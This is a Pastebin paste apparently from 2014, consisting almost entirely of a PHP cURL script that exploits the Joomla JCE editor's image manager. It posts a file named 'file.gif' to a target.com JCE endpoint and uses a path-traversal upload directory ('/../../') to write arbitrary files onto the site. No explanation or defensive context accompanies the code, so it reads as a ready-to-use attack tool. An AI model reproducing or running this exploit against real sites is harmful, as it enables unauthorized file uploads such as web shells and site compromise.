CrashBandicot

method jce released curl

Sep 25th, 2014
26,537
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.39 KB | None | 0 0
  1. <?php
  2. /*
  3.  File Uploaded in http://target.com/file.gif
  4. */
  5.  
  6. $file = "file.gif";
  7.  
  8. $post = array
  9. (
  10.         "upload-dir" => "/../../",
  11.         "Filedata" => "@$file",
  12.         "upload-overwrite" => "0",
  13.         "action" => "upload"
  14. );
  15.  
  16. $ch = curl_init ("http://target.com/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form");
  17. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  18. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  19. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  20. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
  21. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  22. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  23. curl_setopt ($ch, CURLOPT_POST, 1);
  24. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  25. curl_setopt($ch, CURLOPT_HTTPHEADER, array(
  26.         'Content-Type: multipart/form-data',
  27.         'Accept-Language: en-US,en;q=0.5',
  28.         'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7',
  29.         'Connection: Close',
  30.         'Proxy-Connection: close',
  31.         'Cookie: 6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743; jce_imgmanager_dir=%2F; __utma=216871948.2116932307.1317632284.1317632284.1317632284.1; __utmb=216871948.1.10.1317632284; __utmc=216871948; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(non\u200be)'
  32.      ));
  33. $data = curl_exec ($ch);
  34. curl_close ($ch);
  35.  
  36. ?>
Advertisement
Add Comment
Please, Sign In to add comment